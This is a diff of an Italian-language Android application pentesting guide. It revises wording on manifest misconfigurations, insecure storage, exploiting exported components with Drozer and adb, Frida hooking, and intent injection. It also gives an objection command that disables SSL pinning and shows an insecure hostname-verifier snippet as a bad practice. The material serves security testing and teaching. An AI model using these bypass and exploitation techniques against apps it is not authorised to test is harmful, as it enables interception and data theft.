Le **vulnerabilità** identificate dal **Manifest.xml** includono:
|
||||
|
||||
- **Applicazioni debuggabili**: Le applicazioni impostate come debuggabili (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio in quanto consentono connessioni che possono portare a sfruttamenti. Per una maggiore comprensione su come sfruttare le applicazioni debuggabili, consulta un tutorial su come trovare ed esplorare le applicazioni debuggabili su un dispositivo.
|
||||
- **Impostazioni di backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che gestiscono informazioni sensibili per impedire il backup non autorizzato dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
- **Sicurezza di rete**: Le configurazioni personalizzate di sicurezza di rete (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
- **Attività e servizi esportati**: Identificare attività e servizi esportati nel manifesto può evidenziare componenti che potrebbero essere abusati. Un'ulteriore analisi durante i test dinamici può rivelare come sfruttare questi componenti.
|
||||
- **Provider di contenuti e FileProvider**: I provider di contenuti esposti potrebbero consentire l'accesso o la modifica non autorizzati dei dati. Anche la configurazione dei FileProvider dovrebbe essere scrutinata.
|
||||
- **Ricevitori di trasmissione e schemi di URL**: Questi componenti potrebbero essere sfruttati per l'exploit, con particolare attenzione a come vengono gestiti gli schemi di URL per le vulnerabilità di input.
|
||||
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni di Android supportate, evidenziando l'importanza di non supportare versioni obsolete e vulnerabili di Android per motivi di sicurezza.
|
||||
* **Applicazioni debuggabili**: Le applicazioni impostate come debuggabili (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio in quanto consentono connessioni che possono portare a sfruttamenti. Per una maggiore comprensione su come sfruttare le applicazioni debuggabili, consulta un tutorial su come trovare ed esplorare le applicazioni debuggabili su un dispositivo.
|
||||
* **Impostazioni di backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per impedire il backup non autorizzato dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
* **Sicurezza di rete**: Le configurazioni personalizzate di sicurezza di rete (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
* **Attività e servizi esportati**: Identificare attività e servizi esportati nel manifesto può evidenziare componenti che potrebbero essere utilizzati impropriamente. Un'ulteriore analisi durante i test dinamici può rivelare come sfruttare questi componenti.
|
||||
* **Provider di contenuti e FileProvider**: I provider di contenuti esposti potrebbero consentire l'accesso o la modifica non autorizzati dei dati. Anche la configurazione dei FileProvider dovrebbe essere scrutinata.
|
||||
* **Ricevitori di trasmissione e schemi di URL**: Questi componenti potrebbero essere sfruttati per l'exploit, con particolare attenzione a come vengono gestiti gli schemi di URL per le vulnerabilità di input.
|
||||
* **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni di Android supportate, evidenziando l'importanza di non supportare versioni di Android obsolete e vulnerabili per motivi di sicurezza.
|
||||
|
||||
Dal file **strings.xml**, possono essere scoperte informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
Dal file **strings.xml**, possono essere scoperte informazioni sensibili come chiavi API, schemi personalizzati e altre note per sviluppatori, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** è un attacco in cui un'applicazione **malintenzionata** viene avviata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'applicazione vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente affinché interagisca con essa, mentre passa l'interazione all'applicazione vittima.\
|
||||
Di fatto, **acceca l'utente dal sapere che sta effettivamente eseguendo azioni sull'applicazione vittima**.
|
||||
**Tapjacking** è un attacco in cui un'applicazione **malintenzionata** viene avviata e si **posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'app vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente affinché interagisca con essa, mentre passa l'interazione all'app vittima.\
|
||||
Di fatto, **acceca l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||
|
||||
Trova ulteriori informazioni in:
|
||||
|
||||
|
@ -131,7 +131,7 @@ In Android, i file **archiviati** nella **memoria interna** sono **progettati**
|
|||
1. **Analisi Statica:**
|
||||
* **Assicurarsi** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **potrebbero esporre** i file a **accessi non intenzionali o non autorizzati**.
|
||||
2. **Analisi Dinamica:**
|
||||
* **Verificare** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **verificare** se alcuni file sono **impostati come leggibili o scrivibili globalmente**. Ciò potrebbe rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
* **Verificare** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **verificare** se alcuni file sono **impostati come leggibili o scrivibili a livello globale**. Ciò potrebbe rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
|
||||
**Archiviazione esterna**
|
||||
|
||||
|
@ -140,11 +140,11 @@ Quando si tratta di file su **memoria esterna**, come le schede SD, dovrebbero e
|
|||
1. **Accessibilità**:
|
||||
* I file su memoria esterna sono **leggibili e scrivibili globalmente**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
2. **Preoccupazioni per la sicurezza**:
|
||||
* Date le facilità di accesso, è consigliabile **non memorizzare informazioni sensibili** sulla memoria esterna.
|
||||
* Date la facilità di accesso, è consigliabile **non memorizzare informazioni sensibili** su memoria esterna.
|
||||
* La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
||||
3. **Gestione dei dati dalla memoria esterna**:
|
||||
* Effettuare sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
|
||||
* Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||
* Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||
* Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
||||
|
||||
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
@ -155,8 +155,8 @@ A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura delle direc
|
|||
|
||||
**Dati sensibili memorizzati in chiaro**
|
||||
|
||||
* **Preferenze condivise**: Android permette a ogni applicazione di salvare facilmente file XML nel percorso `/data/data/<nomepacchetto>/shared_prefs/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
* **Database**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data/<nomepacchetto>/databases/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
* **Preferenze condivise**: Android consente a ogni applicazione di salvare facilmente file XML nel percorso `/data/data/<nomepacchetto>/shared_prefs/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
* **Database**: Android consente a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data/<nomepacchetto>/databases/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
|
||||
### TLS non sicuro
|
||||
|
||||
|
@ -171,7 +171,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
**Processi di gestione delle chiavi scadenti**
|
||||
|
||||
Alcuni sviluppatori salvano dati sensibili nella memoria locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché un'operazione di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni confidenziali.
|
||||
Alcuni sviluppatori salvano dati sensibili nella memoria locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché alcuni processi di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
||||
|
||||
**Utilizzo di algoritmi insicuri e/o deprecati**
|
||||
|
||||
|
@ -180,9 +180,9 @@ Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire
|
|||
### Altri controlli
|
||||
|
||||
* È consigliabile **oscurare l'APK** per rendere più difficile il lavoro di reverse engineering agli attaccanti.
|
||||
* Se l'app è sensibile (come le app bancarie), dovrebbe effettuare i **propri controlli per verificare se il dispositivo mobile è stato sradicato** e agire di conseguenza.
|
||||
* Se l'app è sensibile (come le app bancarie), dovrebbe verificare se viene utilizzato un **emulatore**.
|
||||
* Se l'app è sensibile (come le app bancarie), dovrebbe **verificare la propria integrità prima di eseguirla** per controllare se è stata modificata.
|
||||
* Se l'applicazione è sensibile (come le app bancarie), dovrebbe effettuare i **propri controlli per verificare se il dispositivo mobile è stato sradicato** e agire di conseguenza.
|
||||
* Se l'applicazione è sensibile (come le app bancarie), dovrebbe verificare se viene utilizzato un **emulatore**.
|
||||
* Se l'applicazione è sensibile (come le app bancarie), dovrebbe **verificare la propria integrità prima di eseguirsi** per controllare se è stata modificata.
|
||||
* Utilizzare [**APKiD**](https://github.com/rednaga/APKiD) per verificare quale compilatore/packer/obfuscator è stato utilizzato per compilare l'APK
|
||||
|
||||
### Applicazione React Native
|
||||
|
@ -203,7 +203,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
|
|||
|
||||
### Applicazioni Superpacked
|
||||
|
||||
Secondo questo [**post sul blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'applicazione che decomprime questo tipo di app... e un modo più veloce che coinvolge **eseguire l'applicazione e raccogliere i file decompressi dal filesystem**.
|
||||
Secondo questo [**post sul blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'applicazione che decomprime questo tipo di app... e un modo più veloce che coinvolge **eseguire l'applicazione e raccogliere i file decompressi dal filesystem**.
|
||||
|
||||
### Analisi statica automatizzata del codice
|
||||
|
||||
|
@ -259,7 +259,7 @@ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali d
|
|||
|
||||
### Analisi dinamica online
|
||||
|
||||
Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti consente di **caricare** ed **eseguire** APK, quindi è utile per vedere come si comporta un APK.
|
||||
Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti consente di **caricare** ed **eseguire** gli APK, quindi è utile per vedere come si comporta un APK.
|
||||
|
||||
Puoi persino **visualizzare i log della tua applicazione** sul web e connetterti tramite **adb**.
|
||||
|
||||
|
@ -271,7 +271,7 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
|
|||
|
||||
#### Utilizzo di un emulatore
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultime versioni x86** supportano le librerie ARM senza necessità di un lento emulatore ARM).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)le **ultime versioni x86** supportano le librerie ARM senza necessità di un lento emulatore ARM).
|
||||
* Impara a configurarlo in questa pagina:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -285,7 +285,7 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
|
|||
Quando crei un nuovo emulatore su qualsiasi piattaforma, ricorda che maggiore è la dimensione dello schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
|
||||
{% endhint %}
|
||||
|
||||
Per **installare i servizi Google** (come AppStore) in Genymotion devi fare clic sul pulsante evidenziato di rosso nell'immagine seguente:
|
||||
Per **installare i servizi Google** (come AppStore) in Genymotion devi fare clic sul pulsante contrassegnato di rosso nell'immagine seguente:
|
||||
|
||||
![](<../../.gitbook/assets/image (277).png>)
|
||||
|
||||
|
@ -301,53 +301,53 @@ Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi s
|
|||
4. Premi 7 volte su **Numero build**.
|
||||
5. Torna indietro e troverai le **Opzioni sviluppatore**.
|
||||
|
||||
> Una volta installata l'applicazione, la prima cosa da fare è provarla e investigare cosa fa, come funziona e prendere confidenza con essa.\
|
||||
> Una volta installata l'applicazione, la prima cosa da fare è provarla e indagare su cosa fa, come funziona e prendere confidenza con essa.\
|
||||
> Suggerisco di **effettuare questa analisi dinamica iniziale utilizzando l'analisi dinamica di MobSF + pidcat**, in modo da poter **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati interessanti** che potrai rivedere in seguito.
|
||||
### Perdita involontaria di dati
|
||||
### Perdita non intenzionale di dati
|
||||
|
||||
**Registrazione**
|
||||
|
||||
Gli sviluppatori dovrebbero fare attenzione a esporre pubblicamente **informazioni di debug**, poiché ciò potrebbe portare a perdite di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono consigliati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
||||
Gli sviluppatori dovrebbero fare attenzione a esporre informazioni di **debugging** pubblicamente, poiché ciò potrebbe portare a perdite di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono consigliati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che a partire da **versioni più recenti di Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
|
||||
In ogni caso, è comunque consigliabile **non registrare informazioni sensibili**.
|
||||
{% endhint %}
|
||||
|
||||
**Cache del buffer di copia/incolla**
|
||||
**Cache del Buffer di Copia/Incolla**
|
||||
|
||||
Il framework **basato sulla clipboard** di Android abilita la funzionalità di copia/incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È cruciale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
|
||||
Il framework basato su **clipboard** di Android abilita la funzionalità di copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, esponendo potenzialmente dati sensibili. È cruciale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
|
||||
|
||||
**Log dei crash**
|
||||
**Log dei Crash**
|
||||
|
||||
Se un'applicazione **va in crash** e **salva i log**, questi log possono aiutare gli attaccanti, specialmente quando l'applicazione non può essere decompilata. Per mitigare questo rischio, evitare di registrare i crash e, se i log devono essere trasmessi tramite la rete, assicurarsi che siano inviati tramite un canale SSL per la sicurezza.
|
||||
|
||||
Come pentester, **prova a dare un'occhiata a questi log**.
|
||||
|
||||
**Dati di analisi inviati a terze parti**
|
||||
**Dati di Analisi Inviati a Terze Parti**
|
||||
|
||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leakare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se vengono inviate informazioni sensibili a servizi di terze parti.
|
||||
|
||||
### Database SQLite
|
||||
|
||||
La maggior parte delle applicazioni utilizzerà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'**occhiata** ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che costituirebbero una vulnerabilità).\
|
||||
La maggior parte delle applicazioni utilizzerà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'**occhiata** ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che sarebbero una vulnerabilità).\
|
||||
I database dovrebbero trovarsi in `/data/data/nome.pacchetto/databases` come `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Se il database sta salvando informazioni confidenziali ed è **criptato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
||||
|
||||
Elenca le tabelle utilizzando `.tables` e elenca le colonne delle tabelle eseguendo `.schema <nome_tabella>`
|
||||
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle facendo `.schema <nome_tabella>`
|
||||
|
||||
### Drozer (Attività di exploit, Provider di contenuti e Servizi)
|
||||
### Drozer (Attività di Sfruttamento, Provider di Contenuti e Servizi)
|
||||
|
||||
Da [Documenti di Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come utilizzare il meccanismo di Comunicazione tra Processi di Android (IPC) e interagire con il sistema operativo sottostante.\
|
||||
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Provider di contenuti** come imparerai nelle sezioni seguenti.
|
||||
Da [Documenti di Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come ad esempio utilizzare il meccanismo di Comunicazione tra Processi di Android (IPC) e interagire con il sistema operativo sottostante.\
|
||||
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Provider di Contenuti** come imparerai nelle sezioni seguenti.
|
||||
|
||||
### Sfruttare attività esportate
|
||||
### Sfruttare le Attività esportate
|
||||
|
||||
[**Leggi questo se vuoi rinfrescare cosa sia un'Attività Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
||||
|
||||
**Bypass di autorizzazione**
|
||||
**Bypass di Autorizzazione**
|
||||
|
||||
Quando un'Attività è esportata, puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i **meccanismi di autenticazione** per accedervi.
|
||||
|
||||
|
@ -356,7 +356,7 @@ Quando un'Attività è esportata, puoi invocare la sua schermata da un'app ester
|
|||
Puoi anche avviare un'attività esportata da adb:
|
||||
|
||||
* Il nome del pacchetto è com.example.demo
|
||||
* Il nome dell'attività esportata è com.example.test.MainActivity
|
||||
* Il nome dell'Attività esportata è com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
@ -372,12 +372,12 @@ Nota che un bypass di autorizzazione non è sempre una vulnerabilità, dipender
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Se il tapjacking non è impedito, potresti abusare dell'attività esportata per fare sì che l'**utente compia azioni inaspettate**. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](./#tapjacking).
|
||||
Se il tapjacking non è impedito, potresti abusare dell'attività esportata per far sì che l'**utente compia azioni inaspettate**. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](./#tapjacking).
|
||||
|
||||
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
|
||||
|
||||
[**Leggi questo se vuoi rinfrescare cosa sia un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
I content provider sono fondamentalmente utilizzati per **condividere dati**. Se un'app dispone di content provider disponibili, potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **iniezioni SQL** e **traversali di percorsi** in quanto potrebbero essere vulnerabili.
|
||||
I content provider sono fondamentalmente utilizzati per **condividere dati**. Se un'app dispone di content provider disponibili, potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **iniezioni SQL** e **traversali di percorso** poiché potrebbero essere vulnerabili.
|
||||
|
||||
[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
|
@ -386,7 +386,7 @@ I content provider sono fondamentalmente utilizzati per **condividere dati**. Se
|
|||
[**Leggi questo se vuoi rinfrescare cosa sia un Servizio.**](android-applications-basics.md#services)\
|
||||
Ricorda che le azioni di un Servizio iniziano nel metodo `onStartCommand`.
|
||||
|
||||
Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni confidenziali, aggirare misure di autenticazione...\
|
||||
Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni confidenziali, eludere misure di autenticazione...\
|
||||
[**Scopri come sfruttare i Servizi con Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Sfruttare i Ricevitori di Broadcast**
|
||||
|
@ -397,10 +397,10 @@ Ricorda che le azioni di un Ricevitore di Broadcast iniziano nel metodo `onRecei
|
|||
Un ricevitore di broadcast sarà in attesa di un tipo di messaggio. A seconda di come il ricevitore gestisce il messaggio, potrebbe essere vulnerabile.\
|
||||
[**Scopri come sfruttare i Ricevitori di Broadcast con Drozer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Sfruttare gli Schemi / Deep links**
|
||||
### **Sfruttare gli Schema / Deep links**
|
||||
|
||||
Puoi cercare manualmente deep links, utilizzando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puoi **aprire** uno **schema** dichiarato utilizzando **adb** o un **browser**:
|
||||
Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -440,8 +440,8 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
|
|||
|
||||
### Ispezioni e Fallimenti di Verifica del Livello di Trasporto
|
||||
|
||||
* Le **certificazioni non vengono sempre ispezionate correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati auto-firmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
* Le **negoziazioni durante l'handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi di tipo man-in-the-middle (MITM), consentendo agli attaccanti di decifrare i dati.
|
||||
* Le **certificazioni non vengono sempre ispezionate correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
* Le **negoziati durante l'handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi di tipo man-in-the-middle (MITM), consentendo agli attaccanti di decifrare i dati.
|
||||
* **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma comunicano poi tramite canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come i cookie di sessione o i dettagli dell'utente, dall'intercettazione da parte di entità malintenzionate.
|
||||
|
||||
#### Verifica del Certificato
|
||||
|
@ -450,7 +450,7 @@ Ci concentreremo sulla **verifica del certificato**. È fondamentale verificare
|
|||
|
||||
#### SSL Pinning
|
||||
|
||||
Lo SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia conosciuta memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. L'implementazione dello SSL Pinning è fortemente raccomandata per le applicazioni che gestiscono informazioni sensibili.
|
||||
Lo SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. Implementare lo SSL Pinning è fortemente raccomandato per le applicazioni che gestiscono informazioni sensibili.
|
||||
|
||||
#### Ispezione del Traffico
|
||||
|
||||
|
@ -462,7 +462,7 @@ Le applicazioni che mirano a **API Livello 24 e superiore** richiedono modifiche
|
|||
|
||||
Quando lo SSL Pinning è implementato, diventa necessario bypassarlo per ispezionare il traffico HTTPS. Sono disponibili vari metodi a tale scopo:
|
||||
|
||||
* Modificare automaticamente l'**apk** per **bypassare** lo SSL Pinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il principale vantaggio di questa opzione è che non sarà necessario il root per bypassare lo SSL Pinning, ma sarà necessario eliminare l'applicazione e reinstallare la nuova, e ciò non funzionerà sempre.
|
||||
* Modificare automaticamente l'**apk** per **bypassare** lo SSL Pinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il principale vantaggio di questa opzione è che non sarà necessario il root per bypassare lo SSL Pinning, ma sarà necessario eliminare l'applicazione e reinstallare la nuova e ciò non funzionerà sempre.
|
||||
* È possibile utilizzare **Frida** (discusso di seguito) per bypassare questa protezione. Qui trovi una guida su come utilizzare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Puoi anche provare a **bypassare automaticamente lo SSL Pinning** utilizzando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Puoi anche provare a **bypassare automaticamente lo SSL Pinning** utilizzando **l'analisi dinamica di MobSF** (spiegata di seguito)
|
||||
|
@ -474,7 +474,7 @@ Quando lo SSL Pinning è implementato, diventa necessario bypassarlo per ispezio
|
|||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) è un toolkit di strumenti di strumentazione dinamica per sviluppatori, reverse engineer e ricercatori di sicurezza.\
|
||||
[Frida](https://www.frida.re) è un toolkit di strumenti di strumentazione dinamica per sviluppatori, reverse-engineers e ricercatori di sicurezza.\
|
||||
**Puoi accedere all'applicazione in esecuzione e agganciare i metodi in tempo reale per cambiare il comportamento, i valori, estrarre valori, eseguire codice diverso...**\
|
||||
Se vuoi fare pentesting delle applicazioni Android devi sapere come usare Frida.
|
||||
|
||||
|
@ -531,7 +531,7 @@ Tuttavia, se questo snapshot contiene **informazioni sensibili**, qualcuno con a
|
|||
|
||||
Gli snapshot di solito sono memorizzati in: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android fornisce un modo per **prevenire la cattura dello screenshot impostando il FLAG\_SECURE** come parametro di layout. Utilizzando questa flag, i contenuti della finestra sono trattati come sicuri, impedendo che compaiano negli screenshot o che siano visualizzati su display non sicuri.
|
||||
Android fornisce un modo per **prevenire la cattura dello screenshot impostando il FLAG\_SECURE** come parametro di layout. Utilizzando questa flag, i contenuti della finestra sono trattati come sicuri, impedendo che compaiano negli screenshot o che siano visualizzati su schermi non sicuri.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -550,14 +550,14 @@ Il pericolo risiede nel permettere agli attaccanti di attivare componenti dell'a
|
|||
* **Iniezione di Intent** è simile al problema di reindirizzamento aperto del web.
|
||||
* Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere reindirizzati per eseguire operazioni non sicure.
|
||||
* Può esporre componenti non esportati e provider di contenuti agli attaccanti.
|
||||
* La conversione di URL in `Intent` di `WebView` può facilitare azioni non intenzionali.
|
||||
* La conversione di URL in `Intent` da parte di `WebView` può facilitare azioni non intenzionali.
|
||||
|
||||
### Iniezioni Lato Client Android e altri
|
||||
|
||||
Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi prestare particolare attenzione a queste vulnerabilità in un'applicazione Android:
|
||||
|
||||
* **SQL Injection:** Quando si gestiscono query dinamiche o Content-Providers, assicurati di utilizzare query parametriche.
|
||||
* **Iniezione di JavaScript (XSS):** Verifica che il supporto JavaScript e dei Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
* **Iniezione di JavaScript (XSS):** Verifica che JavaScript e il supporto ai plugin siano disabilitati per qualsiasi WebView (disabilitati per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusione di File Locale:** Le WebViews dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
